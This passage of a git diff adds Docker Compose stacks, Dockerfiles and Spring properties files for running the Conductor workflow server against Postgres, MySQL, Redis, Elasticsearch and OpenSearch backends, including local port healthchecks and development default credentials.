MYSQL_PASSWORD: conductor + volumes: + - type: volume + source: conductor_mysql + target: /var/lib/mysql + networks: + - internal + healthcheck: + test: timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/3306' + interval: 5s + timeout: 5s + retries: 12 + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ./redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.17.11 + environment: + - "ES_JAVA_OPTS=-Xms512m -Xmx1024m" + - xpack.security.enabled=false + - discovery.type=single-node + volumes: + - esdata-conductor:/usr/share/elasticsearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + conductor_mysql: + driver: local + esdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-port-override.yaml b/docker/docker-compose-port-override.yaml new file mode 100644 index 0000000..98b1560 --- /dev/null +++ b/docker/docker-compose-port-override.yaml @@ -0,0 +1,7 @@ +services: + conductor-server: + ports: + - "8000:8080" + - "8127:5000" + conductor-postgres: + image: postgres:16 diff --git a/docker/docker-compose-postgres-e2e.yaml b/docker/docker-compose-postgres-e2e.yaml new file mode 100644 index 0000000..457da8b --- /dev/null +++ b/docker/docker-compose-postgres-e2e.yaml @@ -0,0 +1,52 @@ +services: + conductor-server: + environment: + - CONFIG_PROP=config-postgres.properties + # Forwarded from the host shell when set. Empty/absent ⇒ the matching AI provider + # stays unconfigured and the LLM e2e tests that depend on it self-skip. + - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY:-} + - OPENAI_API_KEY=${OPENAI_API_KEY:-} + - COHERE_API_KEY=${COHERE_API_KEY:-} + image: conductor:server + container_name: conductor-server-e2e + networks: + - internal + ports: + - "8000:8080" + healthcheck: + test: [ "CMD", "curl", "-I", "-XGET", "http://localhost:8080/health" ] + interval: 10s + timeout: 10s + retries: 20 + links: + - conductor-postgres:postgresdb + depends_on: + conductor-postgres: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "10k" + max-file: "3" + + conductor-postgres: + image: postgres:16 + container_name: conductor-postgres-e2e + environment: + - POSTGRES_USER=conductor + - POSTGRES_PASSWORD=conductor + networks: + - internal + healthcheck: + test: timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/5432' + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +networks: + internal: diff --git a/docker/docker-compose-postgres-es7.yaml b/docker/docker-compose-postgres-es7.yaml new file mode 100644 index 0000000..3242280 --- /dev/null +++ b/docker/docker-compose-postgres-es7.yaml @@ -0,0 +1,86 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-postgres-es7.properties + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: [ "CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health" ] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-postgres:postgresdb + - conductor-elasticsearch:es + depends_on: + conductor-postgres: + condition: service_healthy + conductor-elasticsearch: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-postgres: + image: postgres:16 + environment: + - POSTGRES_USER=conductor + - POSTGRES_PASSWORD=conductor + volumes: + - pgdata-conductor:/var/lib/postgresql/data + networks: + - internal + healthcheck: + test: timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/5432' + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.17.11 + environment: + - "ES_JAVA_OPTS=-Xms512m -Xmx1024m" + - xpack.security.enabled=false + - discovery.type=single-node + volumes: + - esdata-conductor:/usr/share/elasticsearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + pgdata-conductor: + driver: local + esdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-postgres.yaml b/docker/docker-compose-postgres.yaml new file mode 100644 index 0000000..0e7a0a5 --- /dev/null +++ b/docker/docker-compose-postgres.yaml @@ -0,0 +1,65 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-postgres.properties + # Forwarded from the host shell when set. Empty/absent ⇒ the matching AI provider + # stays unconfigured and the LLM e2e tests that depend on it self-skip. + - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY:-} + - OPENAI_API_KEY=${OPENAI_API_KEY:-} + - COHERE_API_KEY=${COHERE_API_KEY:-} + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: [ "CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health" ] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-postgres:postgresdb + depends_on: + conductor-postgres: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-postgres: + image: postgres:16 + environment: + - POSTGRES_USER=conductor + - POSTGRES_PASSWORD=conductor + volumes: + - pgdata-conductor:/var/lib/postgresql/data + networks: + - internal + healthcheck: + test: timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/5432' + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + pgdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-redis-os.yaml b/docker/docker-compose-redis-os.yaml new file mode 100644 index 0000000..9976928 --- /dev/null +++ b/docker/docker-compose-redis-os.yaml @@ -0,0 +1,79 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-redis-os.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + INDEXING_BACKEND: opensearch + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: ["CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-opensearch:os + - conductor-redis:rs + depends_on: + conductor-opensearch: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-opensearch: + image: opensearchproject/opensearch:2.18.0 + environment: + - plugins.security.disabled=true + - cluster.name=opensearch-cluster # Name the cluster + - node.name=conductor-opensearch # Name the node that will run in this container + - discovery.seed_hosts=conductor-opensearch # Nodes to look for when discovering the cluster + - cluster.initial_cluster_manager_nodes=conductor-opensearch # Nodes eligible to serve as cluster manager + - OPENSEARCH_INITIAL_ADMIN_PASSWORD=P4zzW)rd>>123_ + - OPENSEARCH_JAVA_OPTS=-Xms512m -Xmx512m + volumes: + - osdata-conductor:/usr/share/opensearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + osdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-redis-os2.yaml b/docker/docker-compose-redis-os2.yaml new file mode 100644 index 0000000..579607e --- /dev/null +++ b/docker/docker-compose-redis-os2.yaml @@ -0,0 +1,80 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-redis-os2.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + image: conductor:server + container_name: conductor-server-os2 + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + INDEXING_BACKEND: opensearch + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: ["CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-opensearch:os + - conductor-redis:rs + depends_on: + conductor-opensearch: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-opensearch: + image: opensearchproject/opensearch:2.18.0 + container_name: opensearch-2 + environment: + - plugins.security.disabled=true + - cluster.name=opensearch-cluster # Name the cluster + - node.name=conductor-opensearch # Name the node that will run in this container + - discovery.seed_hosts=conductor-opensearch # Nodes to look for when discovering the cluster + - cluster.initial_cluster_manager_nodes=conductor-opensearch # Nodes eligible to serve as cluster manager + - OPENSEARCH_INITIAL_ADMIN_PASSWORD=P4zzW)rd>>123_ + - OPENSEARCH_JAVA_OPTS=-Xms512m -Xmx512m + volumes: + - osdata2-conductor:/usr/share/opensearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + osdata2-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-redis-os3.yaml b/docker/docker-compose-redis-os3.yaml new file mode 100644 index 0000000..dcf8833 --- /dev/null +++ b/docker/docker-compose-redis-os3.yaml @@ -0,0 +1,80 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-redis-os3.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + image: conductor:server + container_name: conductor-server-os3 + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + INDEXING_BACKEND: opensearch3 + networks: + - internal + ports: + - 8000:8080 + - 8128:5000 + healthcheck: + test: ["CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-opensearch:os + - conductor-redis:rs + depends_on: + conductor-opensearch: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-opensearch: + image: opensearchproject/opensearch:3.0.0 + container_name: opensearch-3 + environment: + - plugins.security.disabled=true + - cluster.name=opensearch-cluster # Name the cluster + - node.name=conductor-opensearch # Name the node that will run in this container + - discovery.seed_hosts=conductor-opensearch # Nodes to look for when discovering the cluster + - cluster.initial_cluster_manager_nodes=conductor-opensearch # Nodes eligible to serve as cluster manager + - OPENSEARCH_INITIAL_ADMIN_PASSWORD=P4zzW)rd>>123_ + - OPENSEARCH_JAVA_OPTS=-Xms512m -Xmx512m + volumes: + - osdata3-conductor:/usr/share/opensearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + osdata3-conductor: + driver: local + +networks: + internal: diff --git a/docker/docker-compose-ui-e2e.yaml b/docker/docker-compose-ui-e2e.yaml new file mode 100644 index 0000000..79af920 --- /dev/null +++ b/docker/docker-compose-ui-e2e.yaml @@ -0,0 +1,70 @@ +# Docker Compose stack for Playwright UI integration tests. +# +# Uses the locally-built conductor:server image with Postgres as the backing +# store (no Elasticsearch required — Postgres full-text search is sufficient +# for the UI test workload). +# +# Build the server image once before running integration tests: +# +# docker build -t conductor:server -f docker/server/Dockerfile \ +# --build-arg PREBUILT=false . +# +# Then start this stack (from the repo root): +# +# docker compose -f docker/docker-compose-ui-e2e.yaml up -d +# +# The Playwright global-setup script does this automatically when tests start. +# Container names are distinct from other compose stacks to allow both to +# run side-by-side without port or name conflicts. + +services: + conductor-server: + image: conductor:server + build: + context: ../ + dockerfile: docker/server/Dockerfile + container_name: conductor-server-ui-e2e + environment: + - CONFIG_PROP=config-postgres.properties + - conductor.app.ownerEmailMandatory=false + networks: + - internal + ports: + - "8000:8080" + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:8080/health"] + interval: 10s + timeout: 10s + retries: 24 # up to 4 minutes for a cold JVM start + links: + - conductor-postgres:postgresdb + depends_on: + conductor-postgres: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "10k" + max-file: "3" + + conductor-postgres: + image: postgres:16 + container_name: conductor-postgres-ui-e2e + environment: + - POSTGRES_USER=conductor + - POSTGRES_PASSWORD=conductor + networks: + - internal + healthcheck: + test: timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/5432' + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +networks: + internal: diff --git a/docker/docker-compose.yaml b/docker/docker-compose.yaml new file mode 100644 index 0000000..4ffaaac --- /dev/null +++ b/docker/docker-compose.yaml @@ -0,0 +1,75 @@ +version: '2.3' + +services: + conductor-server: + environment: + - CONFIG_PROP=config-redis.properties + - JAVA_OPTS=-Dpolyglot.engine.WarnInterpreterOnly=false + - conductor.app.ownerEmailMandatory=false + image: conductor:server + container_name: conductor-server + build: + context: ../ + dockerfile: docker/server/Dockerfile + args: + YARN_OPTS: ${YARN_OPTS} + networks: + - internal + ports: + - 8000:8080 + - 8127:5000 + healthcheck: + test: ["CMD", "curl","-I" ,"-XGET", "http://localhost:8080/health"] + interval: 60s + timeout: 30s + retries: 12 + links: + - conductor-elasticsearch:es + - conductor-redis:rs + depends_on: + conductor-elasticsearch: + condition: service_healthy + conductor-redis: + condition: service_healthy + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + + conductor-redis: + image: redis:6.2.3-alpine + volumes: + - ../server/config/redis.conf:/usr/local/etc/redis/redis.conf + networks: + - internal + healthcheck: + test: [ "CMD", "redis-cli","ping" ] + + conductor-elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.17.11 + environment: + - "ES_JAVA_OPTS=-Xms512m -Xmx1024m" + - xpack.security.enabled=false + - discovery.type=single-node + volumes: + - esdata-conductor:/usr/share/elasticsearch/data + networks: + - internal + healthcheck: + test: curl http://localhost:9200/_cluster/health -o /dev/null + interval: 5s + timeout: 5s + retries: 12 + logging: + driver: "json-file" + options: + max-size: "1k" + max-file: "3" + +volumes: + esdata-conductor: + driver: local + +networks: + internal: diff --git a/docker/server/Dockerfile b/docker/server/Dockerfile new file mode 100644 index 0000000..4e29af2 --- /dev/null +++ b/docker/server/Dockerfile @@ -0,0 +1,86 @@ +# +# conductor:server - Conductor Server + UI +# +# Two modes: +# Default: Builds JAR and UI from source (docker-compose, local dev) +# PREBUILT=true: Skips builds, uses pre-built artifacts (CI multi-arch) +# + +# =========================================================================================================== +# 0. Builder stage +# =========================================================================================================== +FROM azul/zulu-openjdk-debian:21 AS builder + +ARG PREBUILT=false +ARG INDEXING_BACKEND=elasticsearch + +LABEL maintainer="Orkes OSS " + +COPY . /conductor +WORKDIR /conductor + +RUN if [ "$PREBUILT" = "true" ]; then \ + rm -rf server/build/libs && mkdir -p server/build/libs && \ + cp docker/server/libs/conductor-server.jar server/build/libs/conductor-server-boot.jar && \ + echo "Using pre-built server JAR"; \ + else \ + ./gradlew build -x test -x spotlessCheck -x shadowJar \ + -PindexingBackend=${INDEXING_BACKEND} \ + -Dorg.gradle.jvmargs=-Xmx2g \ + --no-daemon --no-parallel; \ + fi + + +# =========================================================================================================== +# 1. UI builder stage +# =========================================================================================================== +FROM node:lts AS ui-builder + +ARG PREBUILT=false + +LABEL maintainer="Orkes OSS " + +COPY ui-next /conductor/ui-next +WORKDIR /conductor/ui-next + +RUN if [ "$PREBUILT" = "false" ]; then \ + corepack enable && \ + pnpm install && \ + NODE_OPTIONS=--max-old-space-size=4096 pnpm build; \ + else \ + echo "Using pre-built UI assets"; \ + fi + +# =========================================================================================================== +# 2. Final stage +# =========================================================================================================== +FROM debian:stable-slim + +LABEL maintainer="Orkes OSS " + +RUN apt-get update \ + && apt-get install -y --no-install-recommends openjdk-21-jre-headless nginx curl ca-certificates \ + && rm -f /etc/nginx/sites-enabled/default \ + && rm -rf /var/lib/apt/lists/* + +# Make app folders +RUN mkdir -p /app/config /app/logs /app/libs + +# Copy the compiled output to new image +COPY docker/server/bin /app +COPY docker/server/config /app/config +COPY --from=builder /conductor/server/build/libs/*boot*.jar /app/libs/conductor-server.jar + +# Copy compiled UI assets to nginx www directory +WORKDIR /usr/share/nginx/html +RUN rm -rf ./* +COPY --from=ui-builder /conductor/ui-next/dist . +COPY docker/server/nginx/nginx.conf /etc/nginx/conf.d/default.conf + +# Copy the files for the server into the app folders +RUN chmod +x /app/startup.sh + +HEALTHCHECK --interval=60s --timeout=30s --retries=10 CMD curl -I -XGET http://localhost:8080/health || exit 1 + +CMD [ "/app/startup.sh" ] +ENTRYPOINT [ "/bin/sh"] diff --git a/docker/server/Dockerfile.next b/docker/server/Dockerfile.next new file mode 100644 index 0000000..b632109 --- /dev/null +++ b/docker/server/Dockerfile.next @@ -0,0 +1,89 @@ +# +# conductor:server-next - Conductor Server + ui-next +# +# Identical to Dockerfile but uses ui-next (Vite/pnpm/React 18) instead of ui. +# Produces the :next Docker tag alongside the existing :latest. +# +# Ports: +# 8080 - Conductor API + Swagger (Spring Boot) +# 5000 - ui-next (nginx) +# +# Two modes: +# Default: Builds JAR and UI from source (local dev / docker compose) +# PREBUILT=true: Skips builds, uses pre-built artifacts (CI multi-arch) +# + +# =========================================================================================================== +# 0. Server builder stage +# =========================================================================================================== +FROM azul/zulu-openjdk-debian:21 AS builder + +ARG PREBUILT=false +ARG INDEXING_BACKEND=elasticsearch + +LABEL maintainer="Orkes OSS " + +COPY . /conductor +WORKDIR /conductor + +RUN if [ "$PREBUILT" = "true" ]; then \ + rm -rf server/build/libs && mkdir -p server/build/libs && \ + cp docker/server/libs/conductor-server.jar server/build/libs/conductor-server-boot.jar && \ + echo "Using pre-built server JAR"; \ + else \ + ./gradlew build -x test -x spotlessCheck -x shadowJar \ + -PindexingBackend=${INDEXING_BACKEND} \ + -Dorg.gradle.jvmargs=-Xmx2g \ + --no-daemon --no-parallel; \ + fi + +# =========================================================================================================== +# 1. UI builder stage (ui-next — pnpm + Vite) +# =========================================================================================================== +FROM node:22 AS ui-builder + +ARG PREBUILT=false + +LABEL maintainer="Orkes OSS " + +RUN corepack enable + +COPY ui-next /conductor/ui-next +WORKDIR /conductor/ui-next + +RUN if [ "$PREBUILT" = "false" ]; then \ + pnpm install && NODE_OPTIONS=--max-old-space-size=4096 pnpm build; \ + else \ + echo "Using pre-built ui-next/dist assets"; \ + fi + +# =========================================================================================================== +# 2. Final stage +# =========================================================================================================== +FROM debian:stable-slim + +LABEL maintainer="Orkes OSS " + +RUN apt-get update \ + && apt-get install -y --no-install-recommends openjdk-21-jre-headless nginx curl ca-certificates \ + && rm -f /etc/nginx/sites-enabled/default \ + && rm -rf /var/lib/apt/lists/* + +RUN mkdir -p /app/config /app/logs /app/libs + +COPY docker/server/bin /app +COPY docker/server/config /app/config +COPY --from=builder /conductor/server/build/libs/*boot*.jar /app/libs/conductor-server.jar + +# ui-next dist served by nginx on port 5000 +WORKDIR /usr/share/nginx/html +RUN rm -rf ./* +COPY --from=ui-builder /conductor/ui-next/dist . +COPY docker/server/nginx/nginx.conf /etc/nginx/conf.d/default.conf + +RUN chmod +x /app/startup.sh + +HEALTHCHECK --interval=60s --timeout=30s --retries=10 CMD curl -I -XGET http://localhost:8080/health || exit 1 + +CMD [ "/app/startup.sh" ] +ENTRYPOINT [ "/bin/sh"] diff --git a/docker/server/config/config-cassandra-es7.properties b/docker/server/config/config-cassandra-es7.properties new file mode 100644 index 0000000..c030813 --- /dev/null +++ b/docker/server/config/config-cassandra-es7.properties @@ -0,0 +1,39 @@ +# Database persistence: Cassandra +conductor.db.type=cassandra +conductor.cassandra.hostAddress=cassandradb +conductor.cassandra.port=9042 +conductor.cassandra.replicationFactorValue=1 +conductor.cassandra.readConsistencyLevel=ONE +conductor.cassandra.writeConsistencyLevel=ONE + +# Task queue: Redis (Cassandra has no native queue implementation) +conductor.queue.type=redis_standalone +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + +# Elasticsearch 7 indexing +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch +conductor.elasticsearch.url=http://es:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.version=7 +conductor.elasticsearch.clusterHealthColor=yellow + +# Metrics +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +loadSample=true diff --git a/docker/server/config/config-mysql.properties b/docker/server/config/config-mysql.properties new file mode 100755 index 0000000..0887dd6 --- /dev/null +++ b/docker/server/config/config-mysql.properties @@ -0,0 +1,29 @@ +# Database persistence type. +conductor.db.type=mysql + + +# mysql +spring.datasource.url=jdbc:mysql://mysql:3306/conductor +spring.datasource.username=conductor +spring.datasource.password=conductor + +# redis queues +conductor.queue.type=redis_standalone +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 + + +# Elastic search instance indexing is enabled. +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch +conductor.elasticsearch.url=http://es:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.version=7 +conductor.elasticsearch.clusterHealthColor=yellow + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=prometheus + +# Load sample kitchen-sink workflow +loadSample=true diff --git a/docker/server/config/config-postgres-es7.properties b/docker/server/config/config-postgres-es7.properties new file mode 100755 index 0000000..25023fa --- /dev/null +++ b/docker/server/config/config-postgres-es7.properties @@ -0,0 +1,30 @@ +# Database persistence type. +conductor.db.type=postgres +conductor.queue.type=postgres +conductor.external-payload-storage.type=postgres + +# Restrict the size of task execution logs. Default is set to 10. +# conductor.app.taskExecLogSizeLimit=10 + +# postgres +spring.datasource.url=jdbc:postgresql://postgresdb:5432/postgres +spring.datasource.username=conductor +spring.datasource.password=conductor + +# Elastic search instance indexing is enabled. +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch +conductor.elasticsearch.url=http://es:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.version=7 +conductor.elasticsearch.clusterHealthColor=yellow + +# Restrict the number of task log results that will be returned in the response. Default is set to 10. +# conductor.elasticsearch.taskLogResultLimit=10 + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=prometheus + +# Load sample kitchen-sink workflow +loadSample=true diff --git a/docker/server/config/config-postgres.properties b/docker/server/config/config-postgres.properties new file mode 100755 index 0000000..21c1c36 --- /dev/null +++ b/docker/server/config/config-postgres.properties @@ -0,0 +1,26 @@ +# Database persistence type. +conductor.db.type=postgres +conductor.queue.type=postgres +conductor.external-payload-storage.type=postgres + +# Database connectivity +spring.datasource.url=jdbc:postgresql://postgresdb:5432/postgres +spring.datasource.username=conductor +spring.datasource.password=conductor + + +# Indexing Properties +conductor.indexing.enabled=true +conductor.indexing.type=postgres +# Required to disable connecting to elasticsearch. +conductor.elasticsearch.version=0 + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=prometheus + +# Load sample kitchen-sink workflow +loadSample=true + +# Shorten postpone duration to speed up concurrent execution limit tests (default is 60s) +conductor.app.taskExecutionPostponeDuration=10s \ No newline at end of file diff --git a/docker/server/config/config-redis-es8.properties b/docker/server/config/config-redis-es8.properties new file mode 100755 index 0000000..4fa3fe1 --- /dev/null +++ b/docker/server/config/config-redis-es8.properties @@ -0,0 +1,44 @@ +# Database persistence type. +# Below are the properties for redis +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + +# Elastic search instance indexing is enabled. +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch8 +conductor.elasticsearch.url=http://es:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.clusterHealthColor=yellow +conductor.elasticsearch.indexRefreshInterval=1s + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +# Load sample kitchen sink workflow +loadSample=true + +# Redis cluster connection in SSL mode +conductor.redis.ssl=false + +# File-storage: local backend shared with the host via bind mount so file:// URIs resolve +# identically on both sides. Required by FileStorageE2ETest. +conductor.file-storage.enabled=true +conductor.file-storage.type=local +conductor.file-storage.local.directory=/tmp/conductor-file-storage-e2e diff --git a/docker/server/config/config-redis-os.properties b/docker/server/config/config-redis-os.properties new file mode 100644 index 0000000..0f8cdae --- /dev/null +++ b/docker/server/config/config-redis-os.properties @@ -0,0 +1,38 @@ +# Database persistence type. +# Below are the properties for redis +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + + +# OpenSearch indexing is enabled. +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 + +conductor.opensearch.url=http://os:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexReplicasCount=0 +conductor.opensearch.clusterHealthColor=green + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +# Load sample kitchen sink workflow +loadSample=true + diff --git a/docker/server/config/config-redis-os2.properties b/docker/server/config/config-redis-os2.properties new file mode 100644 index 0000000..b64f568 --- /dev/null +++ b/docker/server/config/config-redis-os2.properties @@ -0,0 +1,38 @@ +# Database persistence type. +# Below are the properties for redis +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + + +# OpenSearch 2.x indexing (NEW configuration from Phase 2) +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 + +# Shared OpenSearch namespace (from PR #675 - Phase 1) +conductor.opensearch.url=http://os:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.indexReplicasCount=0 +conductor.opensearch.clusterHealthColor=green + +# Additional modules for metrics collection exposed to Prometheus (optional) +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,prometheus + +# Redis health indicator +management.health.redis.enabled=true + +# Load sample kitchen sink workflow +loadSample=true diff --git a/docker/server/config/config-redis-os3.properties b/docker/server/config/config-redis-os3.properties new file mode 100644 index 0000000..d2bc9fd --- /dev/null +++ b/docker/server/config/config-redis-os3.properties @@ -0,0 +1,38 @@ +# Database persistence type. +# Below are the properties for redis +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.redis.hosts=rs:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://rs:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + + +# OpenSearch 3.x indexing (NEW configuration from Phase 2) +conductor.indexing.enabled=true +conductor.indexing.type=opensearch3 + +# Shared 